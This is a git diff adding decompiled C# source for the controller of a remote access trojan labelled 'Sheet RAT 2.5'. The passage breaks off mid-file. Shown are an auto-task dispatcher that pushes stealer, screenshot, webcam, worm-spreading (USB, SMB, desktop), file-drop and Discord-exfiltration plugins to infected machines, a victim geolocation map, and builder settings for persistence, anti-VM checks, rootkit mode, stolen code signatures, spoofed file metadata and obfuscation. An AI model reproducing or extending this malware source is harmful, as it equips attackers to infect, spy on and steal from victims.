JsonConvert.DeserializeObject(auto.helperAction); + Program.form.GridClients.Invoke((MethodInvoker) (() => client.Item.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Color.FromArgb(metka.integer), + SelectionForeColor = Color.FromArgb(metka.integer), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + WrapMode = DataGridViewTriState.False + })); + break; + case EnumsAuto.action.ScreenShot: + string checksum1 = Methods.GetChecksum("Plugins\\AutoTask.dll"); + client.Send((object) $"Invoke<@>{checksum1}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("ScreenShot<@>" + auto.TaskName))}"); + break; + case EnumsAuto.action.CameraPhoto: + string checksum2 = Methods.GetChecksum("Plugins\\AutoTask.dll"); + client.Send((object) $"Invoke<@>{checksum2}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("Photo<@>" + auto.TaskName))}"); + break; + case EnumsAuto.action.Notification: + Program.form.Invoke((MethodInvoker) (() => Program.form.notf.AddItem((Bitmap) client.Item.Cells[0].Value, (Bitmap) client.Item.Cells[4].Value, $"{auto.TaskName}\n IP:{client.Ip}\n HWID:{client.ID}", "\n Window:" + client.Window))); + break; + case EnumsAuto.action.SendFromDisk: + SendFromDisk sendFromDisk = JsonConvert.DeserializeObject(auto.helperAction); + if (!File.Exists(sendFromDisk.str)) + return; + string checksum3 = Methods.GetChecksum("Plugins\\SendFile.dll"); + client.Send((object) $"Invoke<@>{checksum3}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"SendDisk<@>{Convert.ToBase64String(File.ReadAllBytes(sendFromDisk.str))}<@>{new FileInfo(sendFromDisk.str).Extension}"))}"); + break; + case EnumsAuto.action.SendFromLink: + SendFromLink sendFromLink = JsonConvert.DeserializeObject(auto.helperAction); + string checksum4 = Methods.GetChecksum("Plugins\\SendFile.dll"); + client.Send((object) $"Invoke<@>{checksum4}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes("SendLink<@>" + sendFromLink.str))}"); + break; + case EnumsAuto.action.Stealer: + string checksum5 = Methods.GetChecksum("Plugins\\Stealer.dll"); + client.Send((object) $"Invoke<@>{checksum5}<@>null"); + break; + case EnumsAuto.action.WormUsb: + string checksum6 = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + client.Send((object) $"Invoke<@>{checksum6}{Convert.ToBase64String(Encoding.UTF8.GetBytes("Usb"))}"); + break; + case EnumsAuto.action.WormSmb: + string checksum7 = Methods.GetChecksum("Plugins\\WormSMB.dll"); + client.Send((object) $"Invoke<@>{checksum7}<@null>"); + break; + case EnumsAuto.action.WormDesktop: + string checksum8 = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + client.Send((object) $"Invoke<@>{checksum8}{Convert.ToBase64String(Encoding.UTF8.GetBytes("Desktop"))}"); + break; + case EnumsAuto.action.WormDownload: + string checksum9 = Methods.GetChecksum("Plugins\\WormJoiner.dll"); + client.Send((object) $"Invoke<@>{checksum9}{Convert.ToBase64String(Encoding.UTF8.GetBytes("Download"))}"); + break; + case EnumsAuto.action.FreendConnect: + FreendConnect freendConnect = JsonConvert.DeserializeObject(auto.helperAction); + string checksum10 = Methods.GetChecksum("Plugins\\FreendConnect.dll"); + client.Send((object) $"Invoke<@>{checksum10}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"{freendConnect.host}<@>{freendConnect.group.Replace("%GROUP%", (string) client.Item.Cells[2].Value)}"))}"); + break; + case EnumsAuto.action.SendNewLogDiscord: + SendNewLogToDiscord sendNewLogToDiscord = JsonConvert.DeserializeObject(auto.helperAction); + string checksum11 = Methods.GetChecksum("Plugins\\Stealer.dll"); + client.Send((object) $"Invoke<@>{checksum11}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes(sendNewLogToDiscord.str))}"); + break; + case EnumsAuto.action.Map: + string checksum12 = Methods.GetChecksum("Plugins\\Map.dll"); + client.Send((object) $"Invoke<@>{checksum12}<@null>"); + break; + } + ++auto.runs; + auto.rows.Cells[2].Value = (object) auto.runs.ToString(); + if (!auto.onestart) + return; + auto.doneClient.Add(client.ID); + } + + public static DataAuto[] GetTask() + { + List dataAutoList = new List(); + if (AutoTaskM.cash == null || AutoTaskM.cash.Length != Program.form.GridAutoTasks.Rows.Count - 1) + { + foreach (DataGridViewRow row in (IEnumerable) Program.form.GridAutoTasks.Rows) + dataAutoList.Add((DataAuto) row.Tag); + AutoTaskM.cash = dataAutoList.ToArray(); + return AutoTaskM.cash; + } + return AutoTaskM.cash.Length == Program.form.GridAutoTasks.Rows.Count - 1 ? AutoTaskM.cash : dataAutoList.ToArray(); + } + + public static void Save() + { + DataAuto[] task = AutoTaskM.GetTask(); + if (task.Length < 1) + return; + string contents = JsonConvert.SerializeObject((object) task, Formatting.Indented); + File.WriteAllText(AutoTaskM.PathData, contents); + } + + public static void Import() + { + if (!File.Exists(AutoTaskM.PathData)) + return; + foreach (DataAuto dataAuto in JsonConvert.DeserializeObject(File.ReadAllText(AutoTaskM.PathData))) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + dataGridViewRow.Tag = (object) dataAuto; + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) dataAuto.Trigger.ToString(); + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) dataAuto.Action.ToString(); + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) dataAuto.runs.ToString(); + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) dataAuto.TaskName; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + Program.form.GridAutoTasks.Rows.Add(dataGridViewRow); + dataAuto.rows = dataGridViewRow; + } + } +} +} diff --git a/Server/Server/Helper/Configs/Bulid.cs b/Server/Server/Helper/Configs/Bulid.cs new file mode 100644 index 0000000..9d75a24 --- /dev/null +++ b/Server/Server/Helper/Configs/Bulid.cs @@ -0,0 +1,211 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Bulid +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Newtonsoft.Json; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.Configs { + +internal class Bulid +{ + public bool ASADMIN; + public bool INSTALL; + public bool INSTALLWATCHDOG; + public bool PUMPER; + public bool HIDEFILE; + public bool HIDEFOLDER; + public bool USERINIT; + public bool HKCU; + public bool TASKWATCHDOG; + public bool TASKCLIENT; + public bool ANTIPROCESS; + public bool ANTIPROCESSMODE; + public bool ICONBOOL; + public bool ASSEMBLY; + public bool SigTheif; + public bool ANTIVIRTUAL; + public bool ROOTKIT; + public string[] IPS; + public string MUTEX; + public string GROUP; + public string TASKADMIN; + public string NAMECLIENT; + public string NAMEWATCHDOG; + public string HKCUNAME; + public string TASKWATCHDOGNAME; + public string TASKCLIENTNAME; + public string PRODUCT; + public string DESCRIPTION; + public string COMPANY; + public string COPYRIGHT; + public string TRADEMARKS; + public string OriginalFilename; + public string ProductVersion; + public string File_Version; + public string PasteBinUrl; + public int COMBONAMECLIENT; + public int COMBONAMEWATCHDOG; + public byte[] ICON; + public byte[] SigBin; + public bool PROXYSTRING; + public bool CTRLFLOW; + public bool CTRLJUMP; + public bool JUNKCODE; + public bool RENAME; + public bool ARITHNMETIC; + public bool PROXYCALL; + public bool Mode; + public int Junk = 300; + + public static void Save(string path) + { + Bulid bulid = new Bulid(); + List stringList = new List(); + foreach (DataGridViewRow row in (IEnumerable) Program.form.GridIps.Rows) + stringList.Add((string) row.Cells[0].Value); + bulid.IPS = stringList.ToArray(); + bulid.ANTIVIRTUAL = Program.form.CheckBoxAntiVirtual.Checked; + bulid.MUTEX = Program.form.TextBoxMutex.Text; + bulid.GROUP = Program.form.TextBoxGroup.Text; + bulid.ASADMIN = Program.form.CheckBoxAdminGet.Checked; + bulid.TASKADMIN = Program.form.TextBoxTaskSaveAdmin.Text; + bulid.INSTALL = Program.form.CheckBoxInstall.Checked; + bulid.INSTALLWATCHDOG = Program.form.CheckBoxWatchDog.Checked; + bulid.NAMECLIENT = Program.form.TextBoxPathClient.Text; + bulid.NAMEWATCHDOG = Program.form.TextBoxPathWatchDog.Text; + bulid.PUMPER = Program.form.CheckBoxPumper.Checked; + bulid.HIDEFILE = Program.form.CheckBoxHideFile.Checked; + bulid.HIDEFOLDER = Program.form.CheckBoxHideFolder.Checked; + bulid.USERINIT = Program.form.CheckBoxUserInit.Checked; + bulid.HKCU = Program.form.CheckBoxHKCU.Checked; + bulid.HKCUNAME = Program.form.TextBoxHKCUNAME.Text; + bulid.TASKWATCHDOG = Program.form.CheckBoxTaskWatchDog.Checked; + bulid.TASKWATCHDOGNAME = Program.form.TextBoxTaskForWatchDog.Text; + bulid.TASKCLIENT = Program.form.CheckBoxTaskClient.Checked; + bulid.TASKCLIENTNAME = Program.form.TextBoxTaskForClient.Text; + bulid.ANTIPROCESS = Program.form.CheckBoxAntiProcess.Checked; + bulid.ANTIPROCESSMODE = Program.form.RadioButtonKillAntiProcess.Checked; + bulid.COMBONAMECLIENT = Program.form.ComboBoxPathClient.SelectedIndex; + bulid.COMBONAMEWATCHDOG = Program.form.ComboBoxPathWatchDog.SelectedIndex; + bulid.PROXYSTRING = Program.form.CheckBoxProxyString.Checked; + bulid.CTRLFLOW = Program.form.CheckBoxCtrlFlow.Checked; + bulid.CTRLJUMP = Program.form.CheckBoxJumpCtrlFlow.Checked; + bulid.JUNKCODE = Program.form.ObfuscationJunkCode.Checked; + bulid.RENAME = Program.form.CheckBoxRename.Checked; + bulid.ARITHNMETIC = Program.form.ObfusctationArithmetic.Checked; + bulid.PROXYCALL = Program.form.ProxyCall.Checked; + bulid.ICONBOOL = Program.form.CheckBoxIco.Checked; + bulid.PRODUCT = Program.form.TextBoxProduct.Text; + bulid.DESCRIPTION = Program.form.TextBoxDescription.Text; + bulid.COMPANY = Program.form.TextBoxCompany.Text; + bulid.COPYRIGHT = Program.form.TextBoxCopyright.Text; + bulid.TRADEMARKS = Program.form.TextBoxTrademarks.Text; + bulid.OriginalFilename = Program.form.TextBoxOriginalFileName.Text; + bulid.ProductVersion = Program.form.TextBoxProductVersion.Text; + bulid.File_Version = Program.form.TextBoxFileVersion.Text; + bulid.ASSEMBLY = Program.form.CheckBoxAssembly.Checked; + bulid.SigTheif = Program.form.CheckBoxSigTheif.Checked; + bulid.Junk = (int) Program.form.numericUpDown1.Value; + bulid.ROOTKIT = Program.form.CheckBoxRootKitMode.Checked; + bulid.PasteBinUrl = Program.form.metroTextBoxPasteBin.Text; + bulid.Mode = Program.form.metroCheckBox1.Checked; + if (bulid.SigTheif) + bulid.SigBin = File.ReadAllBytes(BulidStatic.SigPath); + if (Program.form.CheckBoxIco.Checked) + bulid.ICON = File.ReadAllBytes(BulidStatic.IconPath); + string contents = JsonConvert.SerializeObject((object) bulid, Formatting.Indented); + File.WriteAllText(path, contents); + } + + public static void Load(string path) + { + Bulid bulid = JsonConvert.DeserializeObject(File.ReadAllText(path)); + if (bulid.SigTheif) + { + BulidStatic.SigPath = Path.Combine(Path.GetTempPath(), "Sheet_Sig.exe"); + File.WriteAllBytes(BulidStatic.SigPath, bulid.SigBin); + } + if (bulid.ICONBOOL) + { + Program.form.pictureBoxIco.Image?.Dispose(); + BulidStatic.IconPath = Path.Combine(Path.GetTempPath(), "Sheet_Icon.ico"); + File.WriteAllBytes(BulidStatic.IconPath, bulid.ICON); + Program.form.pictureBoxIco.Image = (Image) new Bitmap(BulidStatic.IconPath); + } + Program.form.GridIps.Rows.Clear(); + foreach (string str in bulid.IPS) + { + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + DataGridViewCellCollection cells = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) str; + DataGridViewTextBoxCell gridViewTextBoxCell2 = gridViewTextBoxCell1; + cells.Add((DataGridViewCell) gridViewTextBoxCell2); + Program.form.GridIps.Rows.Add(dataGridViewRow); + } + Program.form.CheckBoxAntiVirtual.Checked = bulid.ANTIVIRTUAL; + Program.form.TextBoxMutex.Text = bulid.MUTEX; + Program.form.TextBoxGroup.Text = bulid.GROUP; + Program.form.CheckBoxAdminGet.Checked = bulid.ASADMIN; + Program.form.TextBoxTaskSaveAdmin.Text = bulid.TASKADMIN; + Program.form.CheckBoxInstall.Checked = bulid.INSTALL; + Program.form.CheckBoxWatchDog.Checked = bulid.INSTALLWATCHDOG; + Program.form.TextBoxPathClient.Text = bulid.NAMECLIENT; + Program.form.TextBoxPathWatchDog.Text = bulid.NAMEWATCHDOG; + Program.form.CheckBoxPumper.Checked = bulid.PUMPER; + Program.form.CheckBoxHideFile.Checked = bulid.HIDEFILE; + Program.form.CheckBoxHideFolder.Checked = bulid.HIDEFOLDER; + Program.form.CheckBoxUserInit.Checked = bulid.USERINIT; + Program.form.CheckBoxHKCU.Checked = bulid.HKCU; + Program.form.TextBoxHKCUNAME.Text = bulid.HKCUNAME; + Program.form.CheckBoxTaskWatchDog.Checked = bulid.TASKWATCHDOG; + Program.form.TextBoxTaskForWatchDog.Text = bulid.TASKWATCHDOGNAME; + Program.form.CheckBoxTaskClient.Checked = bulid.TASKCLIENT; + Program.form.TextBoxTaskForClient.Text = bulid.TASKCLIENTNAME; + Program.form.CheckBoxAntiProcess.Checked = bulid.ANTIPROCESS; + Program.form.RadioButtonKillAntiProcess.Checked = bulid.ANTIPROCESSMODE; + Program.form.ComboBoxPathClient.SelectedIndex = bulid.COMBONAMECLIENT; + Program.form.ComboBoxPathWatchDog.SelectedIndex = bulid.COMBONAMEWATCHDOG; + Program.form.CheckBoxProxyString.Checked = bulid.PROXYSTRING; + Program.form.CheckBoxCtrlFlow.Checked = bulid.CTRLFLOW; + Program.form.CheckBoxJumpCtrlFlow.Checked = bulid.CTRLJUMP; + Program.form.ObfuscationJunkCode.Checked = bulid.JUNKCODE; + Program.form.CheckBoxRename.Checked = bulid.RENAME; + Program.form.ObfusctationArithmetic.Checked = bulid.ARITHNMETIC; + Program.form.ProxyCall.Checked = bulid.PROXYCALL; + Program.form.CheckBoxIco.Checked = bulid.ICONBOOL; + Program.form.TextBoxProduct.Text = bulid.PRODUCT; + Program.form.TextBoxDescription.Text = bulid.DESCRIPTION; + Program.form.TextBoxCompany.Text = bulid.COMPANY; + Program.form.TextBoxCopyright.Text = bulid.COPYRIGHT; + Program.form.TextBoxTrademarks.Text = bulid.TRADEMARKS; + Program.form.TextBoxOriginalFileName.Text = bulid.OriginalFilename; + Program.form.TextBoxProductVersion.Text = bulid.ProductVersion; + Program.form.TextBoxFileVersion.Text = bulid.File_Version; + Program.form.CheckBoxAssembly.Checked = bulid.ASSEMBLY; + Program.form.CheckBoxSigTheif.Checked = bulid.SigTheif; + Program.form.CheckBoxRootKitMode.Checked = bulid.ROOTKIT; + Program.form.numericUpDown1.Value = Convert.ToDecimal(bulid.Junk); + if (bulid.Mode) + { + Program.form.TextBoxIp.Visible = false; + Program.form.GridIps.Visible = false; + Program.form.metroCheckBox1.Checked = true; + Program.form.metroTextBoxPasteBin.Text = bulid.PasteBinUrl; + } + List stringList = new List(); + foreach (DataGridViewRow row in (IEnumerable) Program.form.GridIps.Rows) + stringList.Add((string) row.Cells[0].Value); + } +} +} diff --git a/Server/Server/Helper/Configs/BulidStatic.cs b/Server/Server/Helper/Configs/BulidStatic.cs new file mode 100644 index 0000000..e1d4ec8 --- /dev/null +++ b/Server/Server/Helper/Configs/BulidStatic.cs @@ -0,0 +1,15 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.BulidStatic +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +internal class BulidStatic +{ + public static string IconPath; + public static string SigPath; +} +} diff --git a/Server/Server/Helper/Configs/CameraTrue.cs b/Server/Server/Helper/Configs/CameraTrue.cs new file mode 100644 index 0000000..f6fff94 --- /dev/null +++ b/Server/Server/Helper/Configs/CameraTrue.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.CameraTrue +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class CameraTrue +{ + public bool enable; +} +} diff --git a/Server/Server/Helper/Configs/Country.cs b/Server/Server/Helper/Configs/Country.cs new file mode 100644 index 0000000..09c8fd7 --- /dev/null +++ b/Server/Server/Helper/Configs/Country.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Country +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class Country +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/DataAuto.cs b/Server/Server/Helper/Configs/DataAuto.cs new file mode 100644 index 0000000..4e04605 --- /dev/null +++ b/Server/Server/Helper/Configs/DataAuto.cs @@ -0,0 +1,28 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.DataAuto +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Newtonsoft.Json; +using System.Collections.Generic; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper.Configs { + +public class DataAuto +{ + public EnumsAuto.action Action; + public EnumsAuto.trigger Trigger; + public bool onestart; + public string TaskName; + public string helperAction; + public string helperTrigger; + public long runs; + [JsonIgnore] + public DataGridViewRow rows; + + public List doneClient { get; private set; } +} +} diff --git a/Server/Server/Helper/Configs/EnumsAuto.cs b/Server/Server/Helper/Configs/EnumsAuto.cs new file mode 100644 index 0000000..9711e48 --- /dev/null +++ b/Server/Server/Helper/Configs/EnumsAuto.cs @@ -0,0 +1,46 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.EnumsAuto +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class EnumsAuto +{ + public enum action + { + Metka, + ScreenShot, + CameraPhoto, + Notification, + SendFromDisk, + SendFromLink, + Stealer, + WormUsb, + WormSmb, + WormDesktop, + WormDownload, + FreendConnect, + SendNewLogDiscord, + Map, + } + + public enum trigger + { + ActiveWindow, + Group, + Country, + Privilege, + NewClient, + AllClient, + Hwid, + GpuForMine, + CameraTrue, + NotLogs, + NewClientGroup, + NotMapBd, + } +} +} diff --git a/Server/Server/Helper/Configs/FreendConnect.cs b/Server/Server/Helper/Configs/FreendConnect.cs new file mode 100644 index 0000000..bfaf97b --- /dev/null +++ b/Server/Server/Helper/Configs/FreendConnect.cs @@ -0,0 +1,15 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.FreendConnect +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class FreendConnect +{ + public string host; + public string group; +} +} diff --git a/Server/Server/Helper/Configs/GpuForMine.cs b/Server/Server/Helper/Configs/GpuForMine.cs new file mode 100644 index 0000000..352b3bf --- /dev/null +++ b/Server/Server/Helper/Configs/GpuForMine.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.GpuForMine +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class GpuForMine +{ + public bool enable; +} +} diff --git a/Server/Server/Helper/Configs/Group.cs b/Server/Server/Helper/Configs/Group.cs new file mode 100644 index 0000000..5616aed --- /dev/null +++ b/Server/Server/Helper/Configs/Group.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Group +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class Group +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/Hwid.cs b/Server/Server/Helper/Configs/Hwid.cs new file mode 100644 index 0000000..7288cd9 --- /dev/null +++ b/Server/Server/Helper/Configs/Hwid.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Hwid +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class Hwid +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/Map.cs b/Server/Server/Helper/Configs/Map.cs new file mode 100644 index 0000000..fbcd868 --- /dev/null +++ b/Server/Server/Helper/Configs/Map.cs @@ -0,0 +1,119 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Map +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using GMap.NET; +using GMap.NET.WindowsForms; +using GMap.NET.WindowsForms.Markers; +using Newtonsoft.Json; +using Server.Properties; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Helper.Configs { + +internal class Map +{ + public double lat; + public double lng; + public string hwid; + public string info; + public static List maps = new List(); + public static Bitmap offlien = new Bitmap((Image) Resources.Offline, new Size(22, 32 /*0x20*/)); + public static Bitmap online = new Bitmap((Image) Resources.Online, new Size(22, 32 /*0x20*/)); + + public static void Load(string path) + { + Map.maps = JsonConvert.DeserializeObject>(File.ReadAllText(path)); + foreach (Map map in Map.maps) + Map.AddOffline(map); + } + + public static void Save(string path) + { + string contents = JsonConvert.SerializeObject((object) Map.maps.ToArray(), Formatting.Indented); + File.WriteAllText(path, contents); + } + + public static void RemoveGmapControlOffline(string ID) + { + if (Map.search(ID) == null) + return; + Program.form.Invoke((MethodInvoker) (() => + { + foreach (GMapMarker marker in (Collection) Program.form.gMapControl1.Overlays[1].Markers) + { + if ((string) marker.Tag == ID) + { + Program.form.gMapControl1.Overlays[1].Markers.Remove(marker); + break; + } + } + })); + } + + public static void RemoveGmapControlOnline(string ID) + { + if (Map.search(ID) == null) + return; + Program.form.Invoke((MethodInvoker) (() => + { + foreach (GMapMarker marker in (Collection) Program.form.gMapControl1.Overlays[0].Markers) + { + if ((string) marker.Tag == ID) + { + Program.form.gMapControl1.Overlays[0].Markers.Remove(marker); + break; + } + } + })); + } + + public static Map search(string hwid) + { + foreach (Map map in Map.maps) + { + if (map.hwid == hwid) + return map; + } + return (Map) null; + } + + public static void AddOffline(Map map) + { + if (map == null) + return; + PointLatLng p = new PointLatLng(map.lat, map.lng); + GMapMarker gMapMarker = (GMapMarker) new GMarkerGoogle(p, Map.offlien); + gMapMarker.Position = p; + gMapMarker.ToolTipText = $"{map.hwid} {map.info}"; + gMapMarker.Tag = (object) map.hwid; + Program.form.Invoke((MethodInvoker) (() => Program.form.gMapControl1.Overlays[1].Markers.Add(gMapMarker))); + } + + public static void AddOnline(Map map) + { + PointLatLng p = new PointLatLng(map.lat, map.lng); + GMapMarker gMapMarker = (GMapMarker) new GMarkerGoogle(p, Map.online); + gMapMarker.Position = p; + gMapMarker.ToolTipText = $"{map.hwid} {map.info}"; + gMapMarker.Tag = (object) map.hwid; + Program.form.Invoke((MethodInvoker) (() => Program.form.gMapControl1.Overlays[0].Markers.Add(gMapMarker))); + } + + public static void AddBD(Map map) + { + if (Map.search(map.hwid) != null) + return; + Map.AddOnline(map); + Map.maps.Add(map); + } +} +} diff --git a/Server/Server/Helper/Configs/Metka.cs b/Server/Server/Helper/Configs/Metka.cs new file mode 100644 index 0000000..154ff72 --- /dev/null +++ b/Server/Server/Helper/Configs/Metka.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Metka +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class Metka +{ + public int integer; +} +} diff --git a/Server/Server/Helper/Configs/Privilege.cs b/Server/Server/Helper/Configs/Privilege.cs new file mode 100644 index 0000000..0c902cd --- /dev/null +++ b/Server/Server/Helper/Configs/Privilege.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Privilege +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class Privilege +{ + public bool enable; +} +} diff --git a/Server/Server/Helper/Configs/SendFromDisk.cs b/Server/Server/Helper/Configs/SendFromDisk.cs new file mode 100644 index 0000000..3c9d7e0 --- /dev/null +++ b/Server/Server/Helper/Configs/SendFromDisk.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.SendFromDisk +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class SendFromDisk +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/SendFromLink.cs b/Server/Server/Helper/Configs/SendFromLink.cs new file mode 100644 index 0000000..1638441 --- /dev/null +++ b/Server/Server/Helper/Configs/SendFromLink.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.SendFromLink +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class SendFromLink +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/SendNewLogToDiscord.cs b/Server/Server/Helper/Configs/SendNewLogToDiscord.cs new file mode 100644 index 0000000..f9df4db --- /dev/null +++ b/Server/Server/Helper/Configs/SendNewLogToDiscord.cs @@ -0,0 +1,14 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.SendNewLogToDiscord +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +//#nullable disable +namespace Server.Helper.Configs { + +public class SendNewLogToDiscord +{ + public string str; +} +} diff --git a/Server/Server/Helper/Configs/Themes/Customs.cs b/Server/Server/Helper/Configs/Themes/Customs.cs new file mode 100644 index 0000000..0e3d33d --- /dev/null +++ b/Server/Server/Helper/Configs/Themes/Customs.cs @@ -0,0 +1,74 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.Configs.Themes.Customs +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using Newtonsoft.Json; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace 